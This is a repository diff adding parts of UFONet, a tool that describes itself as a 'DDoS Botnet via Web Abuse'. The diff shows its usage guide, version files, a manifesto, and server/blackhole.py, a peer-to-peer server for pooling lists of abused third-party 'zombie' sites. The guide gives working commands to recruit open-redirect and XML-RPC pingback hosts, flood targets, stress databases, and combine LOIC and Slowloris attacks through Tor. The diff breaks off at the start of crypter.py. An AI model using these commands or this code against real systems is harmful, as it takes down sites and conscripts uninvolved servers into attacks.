+     + with threads:       ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
+
+###############################
+# Testing botnet
+###############################
+
+UFONet can test if your 'zombies' are vulnerable and can be used for attacking tasks. 
+
+For example, open 'botnet/zombies.txt' (or another file) and create a list of possible 'zombies'. 
+Remember that urls of the 'zombies' should be like this:
+
+       http://target.com/check?uri=
+
+After that, launch:
+
+       ./ufonet -t 'botnet/zombies.txt'
+
+You can test for XML-RPC Pingback vulnerability related 'zombies', with:
+
+       ./ufonet --test-rpc
+
+To check if your 'zombies' are still infected testing the whole botnet (this may take time!) try this:
+
+       ./ufonet --test-all
+
+And to check if your 'zombies' are still online run:
+
+       ./ufonet --test-offline
+
+Finally, you can order your 'zombies' to attack you and see how they reply to your needs using:
+
+       ./ufonet --attack-me 
+
+At the end of the process, you will be asked if you want to check the list retrieved to see 
+if the urls are vulnerable.
+
+       Want to check if they are valid zombies? (Y/n)
+
+If your answer is 'Y', the file: "botnet/zombies.txt" will be updated.
+
+  -------------
+  Examples:
+
+     + with verbose:        ./ufonet -t 'botnet/zombies.txt' -v
+     + with proxy TOR:      ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
+     + with threads:        ./ufonet -t 'botnet/zombies.txt' --threads 50
+
+     + test whole botnet:   ./ufonet --test-all
+     + test XML-RPCs:       ./ufonet --test-rpc
+     + search for offlines: ./ufonet --test-offline 
+     + attack yourself:     ./ufonet --attack-me
+
+###############################
+# Inspecting a target
+###############################
+
+UFONet can search for biggest file on your target by crawlering it:
+
+       ./ufonet -i http://target.com
+
+You can use this before to attack to be more effective.
+
+       ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
+
+  -------------
+  Example:
+
+    +input:
+
+       ./ufonet -i http://target.com
+
+    +output:
+
+       [...]
+
+        +Image found: images/wizard.jpg
+	(Size: 63798 Bytes)
+	------------
+	+Style (.css) found: fonts.css
+	(Size: 20448 Bytes)
+	------------
+	+Webpage (.php) found: contact.php
+	(Size: 2483 Bytes)
+	------------
+	+Webpage (.php) found: about.php
+	(Size: 1945 Bytes)
+	------------
+	+Webpage (.php) found: license.php
+	(Size: 1996 Bytes)
+	------------
+	================================================================================
+	=Biggest File: http://target.com/images/wizard.jpg
+	================================================================================
+  -------------
+
+###############################
+# Abducting a target
+###############################
+
+UFONet can provide you some interesting information about your target:
+
+       ./ufonet -x http://target.com
+
+  -------------
+  Example:
+
+    +input:
+
+       ./ufonet -x https://yahoo.com
+
+    +output:
+
+       [...]
+
+       -Target URL: https://yahoo.com 
+       -IP    : 206.190.39.42
+       -IPv6  : OFF
+       -Port  : 443
+       -Domain: yahoo.com
+
+       -Bytes in : 550.09 KB
+       -Load time: 9.10 seconds
+
+       -Banner: ATS
+       -Vía   : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer), 
+                http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]) 
+
+       -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
+
+       -Reports:
+
+        + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
+        + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
+        
+        [...]
+
+        ---------
+        [Info] Abduction finished... ;-)
+
+   -------------
+
+###############################
+# Attacking a target
+###############################
+
+UFONet can attack your target in many different ways.
+
+For example, enter a target to attack with a number of rounds:
+
+       ./ufonet -a http://target.com -r 10
+
+On this example UFONet will attack the target a number of 10 times for each 'zombie'. That means that 
+if you have a list of 1.000 'zombies' it will launch 1.000 'zombies' x 10 rounds = 10.000 requests to the target.
+
+If you don't put any round it will apply only 1 by default.
+
+Additionally, you can choose a place to recharge on target's site. For example, a large image, 
+a big size file or a flash movie. In some scenarios where targets doesn't use cache systems 
+this will make the attack more effective.
+
+       ./ufonet -a http://target.com -b "/images/big_size_image.jpg"
+
+  -------------
+  Examples:
+
+     + with verbose:     ./ufonet -a http://target.com -r 10 -v
+     + with proxy TOR:   ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
+     + with a place:     ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
+     + with threads:     ./ufonet -a http://target.com -r 10 --threads 500
+
+###############################
+# Special attacks
+###############################
+
+UFONet uses different ways to exploit 'Open Redirect' vulnerabilities.
+
+You can use UFONet to stress database on target by requesting random valid strings as search queries:
+
+       ./ufonet -a http://target.com --db "search.php?q="
+
+Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and increasing 
+processing required by target.
+
+You can test your list of 'XML-RPCs zombies' launching:
+
+     ./ufonet --test-rpc
+
+At same time, you can connect a LOIC (with proxy support), to make a determinate number of recursive requests 
+directly to your target:
+
+     ./ufonet -a http://target.com --loic 100
+
+You can connect a LORIS to make requests leave open threads on the target too, making the web server 
+work slower:
+
+     ./ufonet -a http://target.com --slow 100
+
+Both ways could be combined, so UFONet can attack DDoS and DoS at the same time:
+
+     ./ufonet -a http://target.com --loic 100 --slow 100
+
+###############################
+# Updating
+###############################
+
+UFONet has implemented an option to update the tool to the latest stable version.
+
+This feature can be used only if you have cloned it from GitHub respository.
+
+To check your version you should launch:
+
+       ./ufonet --update
+
+This will update the tool automatically removing all files from old package.
+
+###############################
+# Generating a 'Blackhole'
+###############################
+
+UFONet has some P2P options to share/keep 'zombies' with other 'motherships'.
+      
+  * Setup web server with a folder "ufonet", this folder should be: 
+
+    - located in /var/www/ufonet (default debian/ubuntu install)
+    - owned by the user running the blackhole
+    - accessible with http://your-ip/ufonet/
+
+  * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py)
+
+  * Anyone wanting to connect to your server needs to set the --up-to/--down-from 
+    to the ip address of your webserver...
+
+  [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to.
+
+To start a new 'blackhole' launch:
+
+       ./ufonet --blackhole
+
+###############################
+# GUI/Web Interface
+###############################
+
+You can manage UFONet using a Web Interface. The tool has implemented a python web server 
+connected to the core providing you a more user friendly experience.
+
+To launch it use:
+
+      ./ufonet --gui
+
+This will open a tab on your default browser with all features of the tool and some 'extra' options:
+
+ - NEWS: Allows to read last "news" published by a "mothership"
+ - MISSIONS: Allows to read last "missions" published by a "mothership"
+ - SHIP STATS: Allows to review statistics from your "spaceship"
+ - BOARD: Allows to send/receive messages to/from a "mothership" (a forum)
+ - WARPS: Allows to interact with a "mothership" to download/upload "zombies"
+ - GLOBAL GRID: Allows to review statistics from other "spaceships"
+ - WARGAMES: Allows to propose and interact with some real "wargames"
+
+###############################
+# Timelog
+###############################
+
+--------------------------
+08.03.2018 : v.1.0
+--------------------------
+
+--------------------------
+14.07.2017 : v.0.9b
+--------------------------
+
+--------------------------
+21.10.2016 : v.0.8b
+--------------------------
+
+--------------------------
+17.08.2016 : v.0.7b
+--------------------------
+
+--------------------------
+05.11.2015 : v.0.6b
+--------------------------
+
+--------------------------
+24.05.2015 : v.0.5b
+--------------------------
+
+--------------------------
+15.12.2014 : v.0.4b
+--------------------------
+
+--------------------------
+27.09.2014 : v.0.3.1b
+--------------------------
+
+--------------------------
+20.09.2014 : v.0.3b
+--------------------------
+
+--------------------------
+22.06.2013 : v.0.2b
+--------------------------
+
+--------------------------
+18.06.2013 : v.0.1b
+--------------------------
+
+###############################
+# Thanks to
+###############################
+
+- UFo & Mandingo & Ikujam
+- Phineas Fisher ;-)
+- The Shadow Brokers (TSB) ;_)
+- World Wide Antifas >-)
+-------------------------
+
+############

+ 13 - 0
docs/VERSION

@@ -0,0 +1,13 @@
+Date	    Size      Version  Alias
+--------------------------------------------------
+2013-06-18  7.6kB     0.1b
+2013-06-22  8.3kB     0.2b
+2014-09-17  12.6kB    0.3b
+2014-09-27  12.8kB    0.3.1b   Abduction
+2014-12-16  36.3kB    0.4b     Infection!
+2015-05-24  63.4kB    0.5b     Invasion!
+2016-02-20  282.5kB   0.6      Galactic Offensive!
+2016-08-18  297.7kB   0.7      Big Crunch!
+2016-12-12  444.7kB   0.8      U-NATi0n!
+2017-07-13  861.5kB   0.9      Blazar!
+2018-03-07  948.7kB   1.0      TachYon!

+ 20 - 0
docs/blackhole.txt

@@ -0,0 +1,20 @@
+=================================================================
+How to set up a 'blackhole' - eg a P2P/Community 'zombies' server
+=================================================================
+
+* Setup web server with a folder "ufonet", this folder should be:
+  - Located in /var/www/ufonet (default debian/ubuntu install)
+  - Owned by the user running the blackhole
+  - Accessible with http://<your ip>/ufonet/
+
+* Start the blackhole with:
+  ./ufonet --blackhole or python2 blackhole.py
+
+* Anyone wanting to connect to your server needs to set the --up-to/--down-from 
+  to the ip address of your webserver.
+
+===============================================================
+
+WARNING: this *ADVANCED* function is *NOT* secure, proceed if you really want to.
+
+===============================================================

+ 17 - 0
docs/grider.txt

@@ -0,0 +1,17 @@
+=================================================================
+How to set up a 'grider' - eg a P2P/Community stats/board server
+=================================================================
+
+* Setup web server with a folder "ufonet", this folder should be:
+  - Located in /var/www/ufonet (default debian/ubuntu install)
+  - Owned by the user running the blackhole
+  - Accessible with http://<your ip>/ufonet/
+
+* Start the grider with: 
+  python2 grider.py
+
+===============================================================
+
+WARNING: this *ADVANCED* function is *NOT* secure, proceed if you really want to.
+
+===============================================================

+ 79 - 0
docs/manifesto.txt

@@ -0,0 +1,79 @@
+▓██▌  ▓██████████████▀▀╙Γ`╙▀▀██████████████W   ███▌                
+▓██   ███████████▀^   ,▄▄▄,    ╙▀██████████▌   ██      
+███   █████████▀    ▄██▀▀▀██▄     ▀████████▌  ▐██ 
+███▌  ███████▀     .██     ██M      ╠██████▌  ██  
+^███▄ ╟███████▄     ██▄   ▄██     ╓▓███████  ▓█   
+ ╙███▄ █████████▓▄   ▀█████▀   ,▄█████████▌ ▓█           
+  ?███▓ ███████████▓▄,     ,▄▄███████████▌╓██          
+======_________=_=_________=__________=________==______=__
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷···+||
+ ||  Sluurg! Sluurg! Sluurg!!!!!                        ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷···:||
+ ||  In the land of humans; without space for justice,  ||
+ ||  In the land of humans; just time for economy,      ||
+ ||  In the land of humans; no space for others,        ||
+ ||  In the land of humans; only time for war.          || 
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×····÷····_||███▌ 
+ ||  Sluurg! Zombies! Sluurg!!!!                        ||██
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×····÷····:||
+ ||  In the net of cyborgs; only space for justice,     ||
+ ||  In the net of cyborgs; no time for economy,        ||
+ ||  In the net of cyborgs; only space for others,      ||
+ ||  In the net of cyborgs; is time of war.             ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×··÷······_||
+ ||  Sluurg! UFONet! Sluurg!!!!!                        ||
+=====-----_________-------------_______________··÷·······:==2day
+======_________=_=____________________=________=_=____=:__
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷···_||
+ ||  Sluurg! Sluurg! Sluurg!!!!!                        ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷···:||
+ ||  In the land of humans; without space for freedom,  ||
+ ||  In the land of humans; just time for ego,          ||
+ ||  In the land of humans; no space for science,       ||
+ ||  In the land of humans; only time for the show.     ||███▌  
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×····÷····:||██
+ ||  Sluurg! Droids! Sluurg!!!!                         ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×····÷····:||
+ ||  In the net of cyborgs; only space for freedom,     ||
+ ||  In the net of cyborgs; no time for ego,            ||
+ ||  In the net of cyborgs; only space for science,     ||
+ ||  In the net of cyborgs; is time to show.            ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×··÷······:||
+ ||  Sluurg! UFONet! Sluurg!!!!!                        ||
+=====-----_________-------------________________·········:==3day
+======_________=_=____________________=_________==____=:__
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×···÷·····:||
+ ||  Sluurg! Sluurg! Sluurg!!!!!                        ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×··÷······:||
+ ||  In the land of humans; without space for knowledge,||
+ ||  In the land of humans; just time for dogma,	||
+ ||  In the land of humans; no space for diversity,     ||
+ ||  In the land of humans; only time to destroy.       ||███▌  
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×···÷·····:||██
+ ||  Sluurg! Aliens! Sluurg!!!!                         ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×··÷·······||
+ ||  In the net of cyborgs; only space for knowledge,   ||
+ ||  In the net of cyborgs; no time for dogma,          ||
+ ||  In the net of cyborgs; only space for diversity,   ||
+ ||  In the net of cyborgs; is time to build.           ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷···:||
+ ||  Sluurg! UFONet! Sluurg!!!!!                        ||
+=====-----_________-------------_______________··········:==4day
+======_________=_=____________________=________==_=_______
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×···÷·····:||
+ ||  Sluurg! Sluurg! Sluurg!!!!!                        ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷÷··:||
+ ||  In the land of humans; without space for honor,    ||
+ ||  In the land of humans; just time for whores,       ||
+ ||  In the land of humans; no space for love,          ||
+ ||  In the land of humans; only time to hate.          ||███▌  
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×··÷··÷÷··:||██
+ ||  Sluurg! Reflectors! Sluurg!!!!                     ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×···÷·÷·÷÷·||
+ ||  In the net of cyborgs; only space with honor,      ||
+ ||  In the net of cyborgs; no time for whores,         ||
+ ||  In the net of cyborgs; only space for love,        ||
+ ||  In the net of cyborgs; is time to rise up!.        ||
+·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×···÷·····:||
+ ||  UFONet! DarkNet! UFONet! Legion!!!                 ||
+=====-----_________-------------_______________··········:==5day

+ 1 - 0
docs/release.date

@@ -0,0 +1 @@
+Wen Mar 07 23:51:11 2018

+ 9 - 0
server/__init__.py

@@ -0,0 +1,9 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""

+ 451 - 0
server/blackhole.py

@@ -0,0 +1,451 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket
+import re
+import time
+import string
+import sys
+import urlparse
+import os
+import traceback
+import gzip
+import shutil
+import tempfile
+from threading import *
+
+class Computer(Thread):
+    def __init__(self, parent):
+        Thread.__init__(self)
+        self.power_on = False
+        self.parent = parent
+        self.tmp_dir = parent.tmp_dir
+        self.target_dir = parent.target_dir
+
+    def find_meat(self):
+        self.meats = []
+        try:
+            for f in os.listdir(self.tmp_dir + "blackhole"):
+                if f[-3:] == '.gz':
+                    print "[Computer] Found meat in "+str(f)
+                    self.meats.append(f)
+        except:
+            print "[Computer] No meat in the fridge "+self.tmp_dir + "blackhole"
+            traceback.print_exc()
+        return self.meats != []
+
+    def process( self ):
+        zombies_incoming=[]
+        aliens_incoming=[]
+        droids_incoming=[]
+        ucavs_incoming=[]
+        for meat in self.meats:
+            f_in = gzip.open(self.tmp_dir+"blackhole/"+meat)
+            if 'community_zombies.txt.gz' in f_in: # zombies found
+                f_out = open(self.tmp_dir+'meat.txt', 'wb')
+                for line in f_in.readlines(): 
+                    zombies_incoming.append(line)
+                    f_out.write(line.strip()+os.linesep)
+                f_out.close()
+            elif 'community_aliens.txt.gz' in f_in: # aliens found
+                f_out = open(self.tmp_dir+'larva.txt', 'wb')
+                for line in f_in.readlines(): 
+                    aliens_incoming.append(line)
+                    f_out.write(line.strip()+os.linesep)
+                f_out.close()
+            elif 'community_droids.txt.gz' in f_in: # droids found
+                f_out = open(self.tmp_dir+'chip.txt', 'wb')
+                for line in f_in.readlines(): 
+                    droids_incoming.append(line)
+                    f_out.write(line.strip()+os.linesep)
+                f_out.close()
+            elif 'community_ucavs.txt.gz' in f_in: # ucavs found
+                f_out = open(self.tmp_dir+'arduino.txt', 'wb')
+                for line in f_in.readlines(): 
+                    ucavs_incoming.append(line)
+                    f_out.write(line.strip()+os.linesep)
+                f_out.close()
+            f_in.close()
+            os.remove(self.tmp_dir+"blackhole/"+meat)
+        import subprocess
+        f_tmp = open(self.tmp_dir + 'meat.tmp','wb')
+        subprocess.call('../ufonet --force-yes -t "'+self.tmp_dir+'meat.txt"', shell=True, stdout=f_tmp) # testing zombies (GET)
+        f_tmp.close()
+        f_tmp = open(self.tmp_dir + 'meat.tmp')
+        testoutput=f_tmp.read()
+        f_tmp.close()
+        if "Not any zombie active" in testoutput:
+            if not aliens_incoming and not droids_incoming and not ucavs_incoming: # not any valid zombie (GET or POST)
+                print "[Computer] no valid zombies !"
+                return
+        else:
+            f_tested = open(self.tmp_dir+'meat.txt')
+            zombies_community = f_tested.readlines()
+            f_tested.close()
+            o_in = gzip.open(self.target_dir+'abductions.txt.gz', 'rb')
+            zombies_army = o_in.readlines()
+            initial = len(zombies_army)
+            o_in.close()
+            for zombie in zombies_community:
+                if zombie.strip() not in zombies_army:
+                    zombies_army.append(zombie)
+                else:
+                    pass
+            fc = gzip.open(self.tmp_dir+'newzombies.txt.gz', 'wb')
+            for zombie in zombies_army:
+                fc.write(zombie.strip()+os.linesep)
+            fc.close()
+            shutil.move(self.tmp_dir+'newzombies.txt.gz', self.target_dir+'abductions.txt.gz')
+            print "[Computer] Zombies tested : " +str(len(zombies_community)) + " / initial : " +str(initial) + " / final : " + str(len(zombies_army))
+            f_tested = open(self.tmp_dir+'larva.txt')
+            aliens_community = f_tested.readlines()
+            f_tested.close()
+            o_in = gzip.open(self.target_dir+'troops.txt.gz', 'rb')
+            aliens_army = o_in.readlines()
+            initial = len(aliens_army)
+            o_in.close()
+            for alien in aliens_community:
+                if alien.strip() not in aliens_army:
+                    aliens_army.append(alien)
+                else:
+                    pass
+            fc = gzip.open(self.tmp_dir+'newaliens.txt.gz', 'wb')
+            for alien in aliens_army:
+                fc.write(alien.strip()+os.linesep)
+            fc.close()
+            shutil.move(self.tmp_dir+'newaliens.txt.gz', self.target_dir+'troops.txt.gz')
+            print "[Computer] Aliens tested : " +str(len(aliens_community)) + " / initial : " +str(initial) + " / final : " + str(len(aliens_army))
+            f_tested = open(self.tmp_dir+'chip.txt')
+            droids_community = f_tested.readlines()
+            f_tested.close()
+            o_in = gzip.open(self.target_dir+'robots.txt.gz', 'rb')
+            droids_army = o_in.readlines()
+            initial = len(droids_army)
+            o_in.close()
+            for droid in droids_community:
+                if droid.strip() not in droids_army:
+                    droids_army.append(droid)
+                else:
+                    pass
+            fc = gzip.open(self.tmp_dir+'newdroids.txt.gz', 'wb')
+            for droid in droids_army:
+                fc.write(droid.strip()+os.linesep)
+            fc.close()
+            shutil.move(self.tmp_dir+'newdroids.txt.gz', self.target_dir+'robots.txt.gz')
+            print "[Computer] Droids tested : " +str(len(droids_community)) + " / initial : " +str(initial) + " / final : " + str(len(droids_army))
+            f_tested = open(self.tmp_dir+'arduino.txt')
+            ucavs_community = f_tested.readlines()
+            f_tested.close()
+            o_in = gzip.open(self.target_dir+'drones.txt.gz', 'rb')
+            ucavs_army = o_in.readlines()
+            initial = len(ucavs_army)
+            o_in.close()
+            for ucav in ucavs_community:
+                if ucav.strip() not in ucavs_army:
+                    ucavs_army.append(ucav)
+                else:
+                    pass
+            fc = gzip.open(self.tmp_dir+'newucavs.txt.gz', 'wb')
+            for ucav in ucavs_army:
+                fc.write(ucav.strip()+os.linesep)
+            fc.close()
+            shutil.move(self.tmp_dir+'newucavs.txt.gz', self.target_dir+'drones.txt.gz')
+            print "[Computer] Drones tested : " +str(len(ucavs_community)) + " / initial : " +str(initial) + " / final : " + str(len(ucavs_army))
+
+    def run(self):
+        self.power_on = True
+        print "[Computer] Power On"
+        while self.power_on :
+            # load list of files to process
+            if self.find_meat():
+                # if data -> process
+                self.process()
+            time.sleep(5)
+        print "[Computer] Power Off"
+
+class BlackRay(Thread):
+    def __init__(self, parent):
+        Thread.__init__(self)
+        self.parent = parent
+        self.active = False
+        self.sock = None
+        self.shining = False
+
+    def run( self ):
+        conn = None
+        addr = None
+        self.sock = self.parent.try_bind(9991)
+        if self.sock is not None:
+            self.sock.listen(1)
+            print '[BlackRay] Emitting on port 9991'
+            self.shining = True
+        else:
+            print '[BlackRay ERROR] Failed to emit on port 9991'
+        while self.shining:
+            try:
+                conn,addr = self.sock.accept()
+                print '[BlackRay] Got connection from', addr
+            except socket.timeout:
+                pass
+            except socket.error, e:
+                if self.shining == False:
+                    print "[BlackRay] Socket Error /return : "+str(e)
+                    return
+                else:
+                    print "[BlackRay] Socket Error /break : "+str(e)
+                    break
+            else:
+                data = conn.recv(1024)
+                if data : 
+                    if data[0:4] == "SEND" :
+                        print "[BlackRay] Meat ready : "+data[5:]
+                conn.close()
+        print '[BlackRay] End of emission'
+        self.sock.close()
+
+class Eater(Thread):
+    def __init__(self, client, parent):
+        Thread.__init__(self)
+        self.client = client
+        self.parent = parent
+
+    def run(self):
+        print '[Eater] Yum... got meat'
+        zombie_meat = "community_zombies.txt.gz"
+        alien_meat = "community_aliens.txt.gz"
+        droid_meat = "community_droids.txt.gz"
+        ucav_meat = "community_ucavs.txt.gz"
+        while 1:
+            data = self.client.recv(1024)
+            if not data:
+                break
+        if zombie_meat in data: # get zombies
+            r = re.compile(".*("+zombie_meat+").*") # regex magics
+            meat_type = r.search(data)
+            m = meat_type.group(1)
+            f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
+            f.write(data)
+            print '\n[Eater] Got "%s Closing media transfer"' % f.name
+            f.close()
+        elif alien_meat in data: # get aliens
+            r = re.compile(".*("+alien_meat+").*") # regex magics
+            meat_type = r.search(data)
+            m = meat_type.group(1)
+            f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
+            f.write(data)
+            print '\n[Eater] Got "%s Closing media transfer"' % f.name
+            f.close()
+        elif droid_meat in data: # get zombies
+            r = re.compile(".*("+droid_meat+").*") # regex magics
+            meat_type = r.search(data)
+            m = meat_type.group(1)
+            f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
+            f.write(data)
+            print '\n[Eater] Got "%s Closing media transfer"' % f.name
+            f.close()
+        elif ucav_meat in data: # get ucavs
+            r = re.compile(".*("+ucav_meat+").*") # regex magics
+            meat_type = r.search(data)
+            m = meat_type.group(1)
+            f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
+            f.write(data)
+            print '\n[Eater] Got "%s Closing media transfer"' % f.name
+            f.close()
+        self.client.close()
+        self.parent.eater_full(self)
+
+class Absorber(Thread):
+    def __init__(self, parent):
+        Thread.__init__(self)
+        self.parent = parent
+        self.overflow = True
+        self._eaters = []
+        self.tmp_dir = parent.tmp_dir
+        self.sock = False
+
+    def run( self ):
+        self.sock = self.parent.try_bind(9990)
+        if self.sock is not None:
+            self.sock.listen(1)
+            print '[Absorber] Ready to feed on port 9990'
+            self.overflow = False
+        else:
+            print '[Absorber ERROR] Failed to listen on port 9990'
+        while not self.overflow:
+            try:
+                conn,addr = self.sock.accept()
+                print '[Absorber] Got connection from', addr
+            except socket.timeout:
+                pass
+            except socket.error, e:
+                if self.hungry == False:
+                    print "[Absorber] Socket Error /return : "+str(e)
+                    return
+                else:
+                    print "[Absorber] Socket Error /break : "+str(e)
+                    break
+            else:
+                t = Eater(conn, self)
+                t.start()
+                self._eaters.append(t)
+        self.sock.close()
+        print '[Absorber] Dinner time is over'
+
+    def eater_full(self, _thread):
+        self._eaters.remove(_thread)
+
+class BlackHole ( Thread ):
+    def __init__(self):
+        Thread.__init__( self )
+        self.daemon = True
+        self.awake = True
+        self.tmp_dir = "/tmp/"
+        self.target_dir = '/var/www/ufonet/' 
+        self.blackray = None
+        self.absorber = None
+        self.computer = None
+
+    def dream(self):
+        if not os.path.exists(self.target_dir+"abductions.txt.gz"):
+            abductions_fail = 0
+            try:
+                fc = gzip.open(self.target_dir+'abductions.txt.gz', 'wb')
+                fc.close()
+            except:
+                print "[Error] not abductions.txt.gz file in "+self.target_dir
+                abductions_fail = abductions_fail + 1
+        else:
+            abductions_fail = 0
+        if not os.path.exists(self.target_dir+"troops.txt.gz"):
+            troops_fail = 0
+            try:
+                fc = gzip.open(self.target_dir+'troops.txt.gz', 'wb')
+                fc.close()
+            except:
+                print "[Error] not troops.txt.gz file in "+self.target_dir
+                troops_fail = troops_fail + 1
+        else:
+            troops_fail = 0
+        if not os.path.exists(self.target_dir+"robots.txt.gz"):
+            robots_fail = 0
+            try:
+                fc = gzip.open(self.target_dir+'robots.txt.gz', 'wb')
+                fc.close()
+            except:
+                print "[Error] not robots.txt.gz file in "+self.target_dir
+                robots_fail = robots_fail + 1
+        else:
+            robots_fail = 0
+        if not os.path.exists(self.target_dir+"drones.txt.gz"):
+            drones_fail = 0
+            try:
+                fc = gzip.open(self.target_dir+'drones.txt.gz', 'wb')
+                fc.close()
+            except:
+                print "[Error] not drones.txt.gz file in "+self.target_dir
+                drones_fail = drones_fail + 1
+        else:
+            drones_fail = 0
+        if not os.access(self.target_dir+"abductions.txt.gz",os.W_OK):
+            print "[Error] write access denied for abductions file in "+self.target_dir
+            abductions_fail = abductions_fail + 1
+        if not os.access(self.target_dir+"troops.txt.gz",os.W_OK):
+            print "[Error] write access denied for troops file in "+self.target_dir
+            troops_fail = troops_fail + 1
+        if not os.access(self.target_dir+"robots.txt.gz",os.W_OK):
+            print "[Error] write access denied for robots file in "+self.target_dir
+            robots_fail = robots_fail + 1
+        if not os.access(self.target_dir+"drones.txt.gz",os.W_OK):
+            print "[Error] write access denied for drones file in "+self.target_dir
+            drones_fail = drones_fail + 1
+        if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0:
+            print "[Error] cannot found any zombies container. Aborting..."
+            print "[Info] suspend blackhole with: Ctrl+z"
+            sys.exit(2)
+        if self.consume():
+            os.mkdir(self.tmp_dir + "blackhole")
+        else:
+            print "[Blackhole Error] unable to consume in "+self.tmp_dir+"blackhole..."
+            sys.exit(2)
+        if not os.path.isdir(self.tmp_dir + "blackhole"):
+            print "[Blackhole Error] unable to create "+self.tmp_dir+"blackhole..."
+            sys.exit(2)
+        self.blackray = BlackRay(self)
+        self.absorber = Absorber(self)
+        self.computer = Computer(self)
+        self.awake = False
+        print "[Blackhole] Having sweet dreams..."
+
+    def consume(self):
+        if os.path.isdir(self.tmp_dir + "blackhole"):
+            try:
+                shutil.rmtree(self.tmp_dir + "blackhole")
+            except OSError, e:
+                print "[Blackhole Error] unable to consume : " + str(e)
+                return False
+        return True
+
+    def try_bind(self, port):
+        s=None
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(10)
+            s.bind(('', port))
+        except socket.error as e:
+            if e.errno == 98: # if is in use wait a bit and retry
+                time.sleep(3)
+                return self.try_bind(port)
+            print("[Blackhole Warning] socket busy, connection failed on port " + str(port))
+        return s
+
+    def run(self):
+        self.dream()
+        try:
+            self.blackray.start()
+            self.absorber.start()
+            self.computer.start()
+            if not self.blackray.shining or self.absorber.overflow or not self.computer.power_on:
+                print "[BlackHole] Advancing time in another space (waiting for server)"+os.linesep
+                time.sleep(1)
+            while not self.blackray.shining or self.absorber.overflow or not self.computer.power_on:
+                time.sleep(1)
+            print "\n[BlackHole] all up and running"
+            while self.blackray.shining and not self.absorber.overflow and self.computer.power_on:
+                time.sleep(1)
+        except:
+            traceback.print_exc()
+        self.awaken()
+        print "[Blackhole] Lifespan is up..."
+
+    def collapse(self):
+        self.blackray.shining = False
+        self.absorber.overflow = True
+        self.computer.power_on = False
+        self.computer.join()
+        self.blackray.join()
+        self.absorber.join()
+
+    def awaken(self):
+        self.consume()
+        self.collapse()
+        self.awake = True
+
+if __name__ == "__main__":
+    try:
+        print("\nInitiating void generation sequence...\n")
+        print '='*22 + '\n'
+        app = BlackHole()
+        app.start()
+        while True: time.sleep(1)
+    except KeyboardInterrupt:
+        print("\nTerminating void generation sequence...\n")
+        app.collapse()
+    except Exception, e:
+        traceback.print_exc()
+        print ("\n[Error] - Something wrong creating blackhole...!\n")

+ 0 - 0
server/board.txt


+ 104 - 0
server/crypter.py

@@ -0,0 +1,104 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
